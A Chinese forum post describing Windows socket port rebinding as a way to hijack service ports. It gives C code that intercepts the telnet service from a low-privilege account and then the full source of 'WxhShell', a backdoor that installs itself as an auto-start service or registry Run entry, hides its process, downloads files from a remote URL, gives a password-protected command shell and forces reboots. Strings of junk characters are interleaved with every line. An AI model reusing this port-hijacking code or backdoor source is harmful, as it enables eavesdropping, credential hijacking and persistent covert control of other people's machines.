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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (.P;VH9R\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?LgR8/Io@5  
l9 )iLOj  
  saddr.sin_family = AF_INET; Gk,{{:M:5  
MLY19;e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >1a- }>r  
hxx,E>k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _`/0/69  
O+`^]D7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #`:s:bwM:  
2ko7t9y&  
  这意味着什么?意味着可以进行如下的攻击: tu77Sb  
+-'qI_xo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E xKH%I  
rfYu8-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c }ivYH?`w  
MjE.pb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B P"PUl:  
^j';4'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |`s}PcV  
66D<Up'K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wc)[r~On(5  
*x`z5_yfO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [ar:zl V8  
4DEsB)%X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "Na9Xea  
O 4N_lr~  
  #include riZFcVsB  
  #include G6JyAC9j  
  #include VbM5]UT/  
  #include    /}2 bsiJT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0NfO|l7P  
  int main() zJI/j _~W  
  { ,.]e~O4R  
  WORD wVersionRequested; WRh&4[G'  
  DWORD ret; &[*_ -  
  WSADATA wsaData; X~0l1 @!  
  BOOL val; |/arxb&  
  SOCKADDR_IN saddr; A/{pG#if]3  
  SOCKADDR_IN scaddr; IG`~^-}7lR  
  int err; 2P$lXGjh  
  SOCKET s; Cd'P  
  SOCKET sc; ce2d)FG}e  
  int caddsize; s7I*=}{g0.  
  HANDLE mt; , p1 (0i  
  DWORD tid;   )oTEB#J  
  wVersionRequested = MAKEWORD( 2, 2 ); Qat%<;P2  
  err = WSAStartup( wVersionRequested, &wsaData ); z"}k\B-5  
  if ( err != 0 ) { &-<"HW  
  printf("error!WSAStartup failed!\n"); L)8+/+  
  return -1; a[";K,  
  } huvg'Y t  
  saddr.sin_family = AF_INET; -/x +M-X#  
   7b+OIZB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H!F'I)1  
)FWF T:P~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :1_hQeq  
  saddr.sin_port = htons(23);  =e$ #m;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zIF &ZYP  
  { lU Uq|Qr  
  printf("error!socket failed!\n"); `Kym{og  
  return -1; -B4uK  
  } P7egT,Z  
  val = TRUE; n,PHfydqX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]~?k%Mpw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MFW?m,It)  
  { E>4#j PK  
  printf("error!setsockopt failed!\n"); ~pzaX8!  
  return -1; n/$BdFH  
  } C^n L{ZP,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G8u8&|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3 %DA{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C| Mh<,~ E  
{!N4|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &=HM}h  
  { #cdLg-v  
  ret=GetLastError(); d.2b7q09  
  printf("error!bind failed!\n"); ) V@qH]  
  return -1; }S#.Pw%  
  } ATnD~iACY  
  listen(s,2); Jk{>*jYk`  
  while(1) 3BY/&'oX  
  { q/;mxq$  
  caddsize = sizeof(scaddr); v[Q)cqj/  
  //接受连接请求 X[@>1tl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GGJ_,S*  
  if(sc!=INVALID_SOCKET) K"}Dbr  
  { Y\+^\`Tqu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _ <>+Dk&  
  if(mt==NULL) cYbO)?mC_  
  { 2CmeO&(Qf*  
  printf("Thread Creat Failed!\n"); < ht >>  
  break; WZm^:,  
  } #jZ:Ex  
  } uFok'3!g7%  
  CloseHandle(mt); @J r  
  } DVB:8"Bu  
  closesocket(s); (S2<6Nm8  
  WSACleanup(); @%#(Hse  
  return 0; kk~{2   
  }   Lvp/} /H/  
  DWORD WINAPI ClientThread(LPVOID lpParam) z?  {#/  
  { *kKGsy  
  SOCKET ss = (SOCKET)lpParam; ZzKn,+  
  SOCKET sc; `Mjm/9+18  
  unsigned char buf[4096]; "Q/3]hc.  
  SOCKADDR_IN saddr; yBl<E$=  
  long num; 3zl!x  
  DWORD val; BKD Wd]KEf  
  DWORD ret; KDXo9FzF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9723f1&Vd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fe=4^.  
  saddr.sin_family = AF_INET; <=zGaU,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .1pEq~>  
  saddr.sin_port = htons(23); yr=r? h}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VKs\b-1  
  { J BwTmOvQ  
  printf("error!socket failed!\n"); =?f}h{8x>  
  return -1; ,h>w%  
  } kEXcEF_9P  
  val = 100; p0tv@8C>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v4v+;[a%  
  { \;?\@vo<  
  ret = GetLastError(); t{ 7l.>kf  
  return -1; b~Ruhi[E  
  } S1B/ClKWq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m_Rgv.gE^  
  { R80R{Ze  
  ret = GetLastError(); y&CUT:M6  
  return -1; 9.@(&  
  } fC-^[Af)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p;5WLAF  
  { b9Y pUm7#  
  printf("error!socket connect failed!\n"); D3K`b4YV  
  closesocket(sc); 6 %=BYDF  
  closesocket(ss); JxvwquI  
  return -1; =3T?U_u@  
  } }+lxj a]C  
  while(1) Q0--.Q=:Y  
  { ~FsUK;?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kN^)6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B.WJ6.DkS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y H'\<bT  
  num = recv(ss,buf,4096,0); ~"wD4Ue  
  if(num>0) nY8UJy}<oL  
  send(sc,buf,num,0); q-RGplx  
  else if(num==0) |4c==7.  
  break; e56#Qb@$\  
  num = recv(sc,buf,4096,0); ((5zwD  
  if(num>0) XgbGC*dQ  
  send(ss,buf,num,0); ]lo1Kw  
  else if(num==0) |HA7 C  
  break; KF'M4P  
  } &Ch)SD  
  closesocket(ss); |HEw~x<=  
  closesocket(sc); t,+S~Cj|  
  return 0 ; iWCV(!  
  } Z-<u?f8{*  
joA+  
}ot _k-  
========================================================== O`u!P\  
bPOx~ CMh  
下边附上一个代码,,WXhSHELL K+}Z6_:  
W"*R#:Q  
========================================================== f8 ja Mn9o  
-hzza1DP  
#include "stdafx.h" Cb6MD  
S3_4i;K\  
#include <stdio.h> HDEG/k/~m  
#include <string.h> +doT^&2u*  
#include <windows.h> \PFx# :-c  
#include <winsock2.h> |W <:rT  
#include <winsvc.h> /Ow?nWSt  
#include <urlmon.h> k$c j|-<  
gctaarB&  
#pragma comment (lib, "Ws2_32.lib") Cm4 *sN.&)  
#pragma comment (lib, "urlmon.lib") bxN;"{>Xz  
F[u%t34'  
#define MAX_USER   100 // 最大客户端连接数 p4t)Z#0  
#define BUF_SOCK   200 // sock buffer sfV.X:ev  
#define KEY_BUFF   255 // 输入 buffer =l(JJ  
m@@QT<  
#define REBOOT     0   // 重启 HFr3(gNj@  
#define SHUTDOWN   1   // 关机 Wy4^mOv  
>S!DIL  
#define DEF_PORT   5000 // 监听端口 E1C_d'  
NM@An2  
#define REG_LEN     16   // 注册表键长度 ) b10%n^  
#define SVC_LEN     80   // NT服务名长度 <C77_t  
Q7r,5w& cm  
// 从dll定义API @>]3xHE6#=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~D5MAEazS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `/zt&=`VB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Let AR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2FzS_\":I  
RV` j>1  
// wxhshell配置信息 =M 5M;  
struct WSCFG { P1wRt5  
  int ws_port;         // 监听端口 H1nQ.P]_  
  char ws_passstr[REG_LEN]; // 口令 0vp I#q  
  int ws_autoins;       // 安装标记, 1=yes 0=no F4Uk+|]Bu  
  char ws_regname[REG_LEN]; // 注册表键名 3\+p1f4  
  char ws_svcname[REG_LEN]; // 服务名 ~N9-an  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {9".o,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F 29AjW86  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1%"` =$q%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^rwSbM$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ku?_/-ko]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xt =bc  
E<uOk  
}; QZr<=}   
9C;Y5E~'L  
// default Wxhshell configuration uw=Ube(  
struct WSCFG wscfg={DEF_PORT, ?vFh)U  
    "xuhuanlingzhe", k_>{"Rc  
    1, !h!9SE  
    "Wxhshell", ^kvH/Y&  
    "Wxhshell", Mj B[5:s  
            "WxhShell Service", "6yiQ\`J  
    "Wrsky Windows CmdShell Service", Td*Oljj._U  
    "Please Input Your Password: ", XL^N5  
  1, 3 \r@f_p  
  "http://www.wrsky.com/wxhshell.exe", <y!r~?  
  "Wxhshell.exe" UwkX[u  
    }; ^4pKsO3ul  
o2d~  
// 消息定义模块 L_"(A #H:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #@^w>D6W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gF6j6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lM^!^6=v0l  
char *msg_ws_ext="\n\rExit."; A.9'pi'[9Q  
char *msg_ws_end="\n\rQuit."; =jc8=h[F<  
char *msg_ws_boot="\n\rReboot..."; V1)P=?%(US  
char *msg_ws_poff="\n\rShutdown..."; lmKq xs4  
char *msg_ws_down="\n\rSave to "; \!Zh="hN  
a~F@3Pd  
char *msg_ws_err="\n\rErr!"; ;J-Ogt@d7  
char *msg_ws_ok="\n\rOK!"; V2{#<d-T!  
4oV_b"xz~  
char ExeFile[MAX_PATH]; <C%-IZv$  
int nUser = 0; Treh{s  
HANDLE handles[MAX_USER]; qYZ7Zt;  
int OsIsNt; /}`/i(k  
w"agn}CK  
SERVICE_STATUS       serviceStatus; / 7XdV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pmlgh&Z  
QX.6~*m1  
// 函数声明 %K'*P56  
int Install(void); m}[~A@qD  
int Uninstall(void); N5s|a5  
int DownloadFile(char *sURL, SOCKET wsh); /Jf`x>eiH  
int Boot(int flag); ^>8]3@ Nh  
void HideProc(void); 8UT%:DlxQ  
int GetOsVer(void); ` .(S#!gw  
int Wxhshell(SOCKET wsl); c4>sE[]  
void TalkWithClient(void *cs); *rcuhw"^b#  
int CmdShell(SOCKET sock); Pgw%SMEp  
int StartFromService(void); RyOT[J  
int StartWxhshell(LPSTR lpCmdLine); b2X'AHK S  
P^3m:bE]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \1mM5r~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Oq,[,W  
&U$8zn~[k  
// 数据结构和表定义 0IgnpeA]  
SERVICE_TABLE_ENTRY DispatchTable[] = r@[VY g~  
{ _Sgk^i3v  
{wscfg.ws_svcname, NTServiceMain}, Uc_`Eh3y  
{NULL, NULL} Fy@#r+PgWp  
}; E`uaE=Mdq  
%Mng8r  
// 自我安装 *76viqY;dE  
int Install(void) E[3FdX8  
{ Mj B< \g>  
  char svExeFile[MAX_PATH]; )n}]]^Sc  
  HKEY key; jUJTcL  
  strcpy(svExeFile,ExeFile); U++~3e@l  
r` `i C5Ii  
// 如果是win9x系统,修改注册表设为自启动 zz 'dg-F  
if(!OsIsNt) { R_>TEYZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lii ]4k+z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L);||]B  
  RegCloseKey(key); ?Tc)f_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o%+A<Ri  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [pW1=tI  
  RegCloseKey(key); -[=AlqL  
  return 0; d@6:|auO  
    } 9IvcKzS2  
  } RZd4(7H=q  
} 7"n1it[RJ8  
else { Lk`k>Nn)  
NT;x1  
// 如果是NT以上系统,安装为系统服务 ]~\SR0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hr<7l C  
if (schSCManager!=0) )-.Cne;n  
{ k?["F%)I  
  SC_HANDLE schService = CreateService loeLj4""  
  ( _)#=>$k\  
  schSCManager, W"-EC`nP  
  wscfg.ws_svcname, (I7&8$Zl  
  wscfg.ws_svcdisp, DO1 JPeIi  
  SERVICE_ALL_ACCESS, xMSNrOc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yL ;o{ G  
  SERVICE_AUTO_START, V5yxQb  
  SERVICE_ERROR_NORMAL, vfJ3idvo*w  
  svExeFile, oDW<e'Jm  
  NULL, I(^jOgYU  
  NULL, d4p{5F7]^  
  NULL, ^A 11h6I  
  NULL, })zB".  
  NULL K=m9H=IX~T  
  ); q!hy;K`Jd  
  if (schService!=0) ''(fH$pY  
  { v?YdLR  
  CloseServiceHandle(schService); e7XsyL'|p  
  CloseServiceHandle(schSCManager); eg$5z Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {{.sEi*  
  strcat(svExeFile,wscfg.ws_svcname); Y( 1L>4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z;bH<cQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6bbZ<E5At  
  RegCloseKey(key); ,5eH2W  
  return 0; ;&+[W(7Sy  
    } iHE0N6%q  
  } vh|Tb5W<  
  CloseServiceHandle(schSCManager); 5W[3_P+  
} IqhICC1V-  
} 7 >PF~=  
4f4 i1i:  
return 1; O1x0[sy  
} aCU7w5  
-5V)q.Og  
// 自我卸载 e;A^.\SP  
int Uninstall(void) ;Cr_NP[8|j  
{ cg(QjH"  
  HKEY key; ( }]37  
#*yM2H"7,;  
if(!OsIsNt) { ASzzBR;?_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^8?j~&u$F  
  RegDeleteValue(key,wscfg.ws_regname); ="3a%\  
  RegCloseKey(key); (orrX Ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |5 oKq'(b  
  RegDeleteValue(key,wscfg.ws_regname); {yvb$ND|j{  
  RegCloseKey(key); Y!++C MzU  
  return 0; Y<p zy8z  
  } u<l# xud  
} WF ?/GN  
} T!u'V'Ei2  
else { zW"~YaO%C  
@9OeC O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G 2%  
if (schSCManager!=0) [;(]Jy  
{ tA`mD>[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *.kj]BoO  
  if (schService!=0) Cz'xGW{  
  { !lR0w|  
  if(DeleteService(schService)!=0) { KWFyw>*)  
  CloseServiceHandle(schService); ftYR,!&  
  CloseServiceHandle(schSCManager); b@=z rhQ  
  return 0; RH!SW2o<  
  } V/aQ*V{  
  CloseServiceHandle(schService); H|PrsGW  
  } y#b;uDY  
  CloseServiceHandle(schSCManager); xGKfej9  
} b%Wd<N2  
} KqN!?anPr  
=ud `6{R  
return 1;  M*d-z  
} wXc,FD$  
~?FK ; (  
// 从指定url下载文件 )-0[ra]  
int DownloadFile(char *sURL, SOCKET wsh) eQ$N:]  
{ ' 2>l  
  HRESULT hr; e{,!|LhpQ  
char seps[]= "/"; yJnPD/i  
char *token; ]UK`?J=t2g  
char *file; :&Qb>PH[  
char myURL[MAX_PATH]; pG0!ALT  
char myFILE[MAX_PATH]; |if'_x1V  
|WB"=PE  
strcpy(myURL,sURL); WI,40&<  
  token=strtok(myURL,seps); 0(wf{5  
  while(token!=NULL) E;9Z\?P  
  { 8ou e-:/a  
    file=token; t Y{; U#9  
  token=strtok(NULL,seps); ,/~[S  
  } )yHJ[  
@(Z( /P;:  
GetCurrentDirectory(MAX_PATH,myFILE); ;5<P|:^  
strcat(myFILE, "\\"); 0r1g$mKb  
strcat(myFILE, file); Af`z/:0<  
  send(wsh,myFILE,strlen(myFILE),0); W&<g} N+  
send(wsh,"...",3,0); $v FrUv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {5SfE$r  
  if(hr==S_OK) Y;8 >=0ye  
return 0; V?=TVI*k  
else aw1P5aPmX  
return 1; ir]Mn.(Y  
=KV@&Y^x4  
} i#k-)N _$  
H\ 3M  
// 系统电源模块 _HwpPRVP/  
int Boot(int flag) ]22C )<  
{ qc3~cH.@  
  HANDLE hToken; KZ]r8  
  TOKEN_PRIVILEGES tkp; .%_)*NUZ  
4&|C}  
  if(OsIsNt) { )B81i! q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d5Qd'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n<E.Em1  
    tkp.PrivilegeCount = 1; m`'=)x|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |B eA==  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d^tVD`Fm  
if(flag==REBOOT) { *MI)]S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T: U4:"  
  return 0; G[#.mD{k  
} Khj=llo,  
else { sv' Gt1&"Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i!L;? `F{  
  return 0; uMHRUi  
} j$+gq*I&E  
  } JPLI @zX^  
  else { 7ZQ'h3K  
if(flag==REBOOT) { c -w0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2\5cjdy  
  return 0; IdF$Ml#[h  
} 4Hk6b09  
else { r ^MiRa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mk\i}U>`  
  return 0; _e_4Q)z-a  
} x:qr\Rz  
} H-Pq!9[DB  
AQe!Sqg'  
return 1; lj*8mS/;h  
} X($6IL6m  
[7RheXO <  
// win9x进程隐藏模块 gGmxx,i  
void HideProc(void) ~Zmi(Ra  
{ )=Zsv40O  
o_O+u%y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l&3ki!  
  if ( hKernel != NULL ) PRwu  
  { *qG$19b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -?5$ PH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q<yAT(w  
    FreeLibrary(hKernel); @89I#t6A.  
  } !y%+GwoW  
:c=v}  
return; kxh 5}eB  
} "7d.i(vw  
a1|c2kT  
// 获取操作系统版本 .uKx>YB}  
int GetOsVer(void) 7 WP%J-   
{ x{Sd P$  
  OSVERSIONINFO winfo; }%x}fu#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gD6tHg>_  
  GetVersionEx(&winfo); H<Hrwy~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <5I1DF[  
  return 1; 5q Rc4d'  
  else r4?b0&Xq  
  return 0; 5>P7]?U.]  
} wyzOcx>M  
|!Fk2Je,  
// 客户端句柄模块 /[iG5~G  
int Wxhshell(SOCKET wsl) 69/?7r  
{ (zC   
  SOCKET wsh; /l6\^Xf{  
  struct sockaddr_in client; H|`R4hAk  
  DWORD myID; &bLC(e ]  
74_xR  
  while(nUser<MAX_USER) GRIa8>  
{ uY;R8CiD  
  int nSize=sizeof(client); \?&A u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D%U:!|G  
  if(wsh==INVALID_SOCKET) return 1; YjLe(+ WQ  
q@kOTkHv)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B+Z13;}B  
if(handles[nUser]==0) "yW&<7u1  
  closesocket(wsh); SX+4 HJB  
else Gs_qO)~xo  
  nUser++; 9 mPIykAj8  
  } 'gDe3@ci!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DbtF~`3, .  
5V@&o`!=h  
  return 0; s}ADk-7  
} JKy#j g:#  
ue6d~8&  
// 关闭 socket VNj@5s  
void CloseIt(SOCKET wsh) ] H&c'  
{ C(o.Cy6  
closesocket(wsh); 8%ik853`  
nUser--; b+@D_E-RJ  
ExitThread(0); IqUp4}  
} RqLNp?V%  
8QF2^*RZ7z  
// 客户端请求句柄 *QH[,F`I  
void TalkWithClient(void *cs) etyCrQ ?U  
{ 8a>SC$8"  
%hINpZMr  
  SOCKET wsh=(SOCKET)cs; M4?8xuC  
  char pwd[SVC_LEN]; w<t,j~ Pr#  
  char cmd[KEY_BUFF]; qVBL>9O*.  
char chr[1]; *Hs*,}MS  
int i,j; e g3L:rk_  
2+'|kt2  
  while (nUser < MAX_USER) { ,J(lJ,c  
*vnXlV4L  
if(wscfg.ws_passstr) { xmr|'}Pt[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p)3nyN=|_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #mLuU  
  //ZeroMemory(pwd,KEY_BUFF); bRPO:lAy  
      i=0; =nU/ [T.  
  while(i<SVC_LEN) { h/<=u9J  
R#qI( V  
  // 设置超时 eOnT W4  
  fd_set FdRead; p<5!0 2yQ\  
  struct timeval TimeOut; } 0M{A+  
  FD_ZERO(&FdRead); 4x,hj  
  FD_SET(wsh,&FdRead); %l7fR}  
  TimeOut.tv_sec=8; `FJ|W6%  
  TimeOut.tv_usec=0; {Q~7M$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hm9<fQuM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A-wRah.M  
&U"X $aFc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Np2ci~"<.  
  pwd=chr[0]; )X5(#E  
  if(chr[0]==0xd || chr[0]==0xa) { EGS%C%>l/o  
  pwd=0; = .`jjDJ  
  break; Ld(NhB'7  
  } `4 UlJ4<`  
  i++; !M;A*:-  
    } jG D%r~lN  
(}gcY  
  // 如果是非法用户,关闭 socket 6GINmkA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6t}XJB$+7  
} q*8lnk  
2 9#]Vr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kNPDm6m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z]vL%Gg*!  
/P+q}L %  
while(1) { s[AA7>]3  
1R*=.i%W  
  ZeroMemory(cmd,KEY_BUFF); 6D/'`  
Hk;-5A|9  
      // 自动支持客户端 telnet标准   zn)yFnB!TH  
  j=0; l,d, T  
  while(j<KEY_BUFF) { f z}?*vPW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uGCp#>+  
  cmd[j]=chr[0]; G7-!`-Nk  
  if(chr[0]==0xa || chr[0]==0xd) { - k`.j  
  cmd[j]=0; "C74  
  break; =|SdVv   
  } 4# )6.f~  
  j++; &ao(!/im  
    } @Zm J z  
;>ozEh#8w  
  // 下载文件 s".HEP~]=  
  if(strstr(cmd,"http://")) { ,W*H6fw+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 Z[f {T)  
  if(DownloadFile(cmd,wsh)) kMxjS^fr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gvx[ 8I  
  else _x %1F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Km7U-BG  
  } w>979g  
  else { '*R%^RK  
4%_M27bu[  
    switch(cmd[0]) { R^8{bP  
  ^}>/n. %  
  // 帮助 zY%. Rq-  
  case '?': { g1|w?pI1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3M<!?%v\A  
    break; ~V+l_ :  
  } 3?E}t*/  
  // 安装 dGkg aC+  
  case 'i': { 97LpY_sU  
    if(Install()) P} r)wAt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h6M;0_'  
    else \Tm}mAvK/o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SY _='9U  
    break; &s VadOBQ  
    } K2ewucn  
  // 卸载 &; >4N"]  
  case 'r': { U5+vN[ K  
    if(Uninstall()) 9UD @MA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3QCVgo i\  
    else O#_x)13  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) Yj%#  
    break; n?QZFeI`  
    } pFO^/P'  
  // 显示 wxhshell 所在路径 M{KW@7j  
  case 'p': { flnVYQe  
    char svExeFile[MAX_PATH]; 8MF2K6  
    strcpy(svExeFile,"\n\r"); fN[8N$1-  
      strcat(svExeFile,ExeFile); ?[TW<Yx  
        send(wsh,svExeFile,strlen(svExeFile),0); 8^ #mvHah  
    break; j_Nm87i]  
    } n1J]p#nCa.  
  // 重启 AHd-  
  case 'b': { WS,7dz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A 's-'8m  
    if(Boot(REBOOT)) nSS=%,?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V4K'R2t  
    else { f)6))  
    closesocket(wsh); u"+}I,'L  
    ExitThread(0); m5-9yQ=.  
    } ]gP5f@`  
    break; >.DC!QV  
    } "J19*<~  
  // 关机 , =y#m- 9  
  case 'd': { ClQe4uo{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k-jahm4  
